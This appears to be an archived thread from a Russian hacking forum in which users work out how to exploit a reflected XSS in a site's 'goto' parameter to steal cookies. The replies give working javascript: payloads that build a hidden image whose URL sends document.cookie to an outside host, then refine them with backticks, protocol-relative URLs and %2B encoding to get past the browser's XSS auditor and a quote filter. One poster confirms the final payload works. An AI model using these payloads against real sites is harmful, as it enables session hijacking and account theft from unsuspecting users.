Просмотр полной версии : Как заюзать reflective XSS?
Dominant
07.08.2017, 23:54
Есть reflected XSS и вот такой код отрабатывает:
javascript:alert(1)
Но вот такой:
">alert(1)
проходит но уже блочится xss auditor-oом.
Можно как-то слить куки не добавляя внутрь страницы ?
Можно так:
Code:
javascript:i=document.createElement('img');i.style .display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.bo dy.appendChild(i));
Если есть переносы строк или символы ломающие синтаксис, то нужно использовать urlencode.
Dominant
08.08.2017, 16:10
Забыл упомянуть важную деталь. Инъекция в коде страницы отображается как атрибут src:
src="javascript:alert(1)"
Когда добавляю этот код:
javascript:i=document.createElement('img');i.style .display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.bo dy.appendChild(i));
то не отображается и не отрабатывает никак
Dominant said:
↑ (https://antichat.live/posts/4114830/)
Инъекция в коде страницы отображается как атрибут src
Выложи сюда, посмотрим.
Dominant
08.08.2017, 17:02
Code:
site.com/index.php?goto=javascript:alert(1);
Вот такой запрос даёт:
Code:
Такой
Code:
site.com/index.php?goto=">alert(a);
Даёт:
Code:
alert(a);" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">
но блочится xss аудитором
Такой:
Code:
site.com/index.php?goto=javascript:i=document.createElement ('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.bo dy.appendChild(i));
не выдает ничего
У меня нормально отрабатывает:
http://s018.radikal.ru/i512/1708/13/002a4d5c8506.png
PHP:
Dominant
08.08.2017, 17:36
crlf said:
↑ (https://antichat.live/posts/4114865/)
У меня нормально отрабатывает:
http://s018.radikal.ru/i512/1708/13/002a4d5c8506.png
PHP:
Но при вводе такого кода в адресную строку - фрейм вообще не добавляется.
Проверил - сбой происходит на "http://". Если убрать их из скрипта то всё добавляется в src но кавычки фильтруются:
PHP:
Без указания протокола нормально
Кавычку можно бэктиком (`) заменить. Плюс нужно заменить на %2B.
Code:
site.com/index.php?goto=javascript:i=document.createElement (`img`);i.style.display=`none`;i.src=`//localhost/aaaaaaa?`%2Bescape(document.cookie);console.log(do cument.body.appendChild(i));
Dominant
08.08.2017, 21:44
crlf said:
↑ (https://antichat.live/posts/4114898/)
Кавычку можно бэктиком (`) заменить. Плюс нужно заменить на %2B.
Code:
site.com/index.php?goto=javascript:i=document.createElement (`img`);i.style.display=`none`;i.src=`//localhost/aaaaaaa?`%2Bescape(document.cookie);console.log(do cument.body.appendChild(i));
Вот так заработало. Спасибо
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot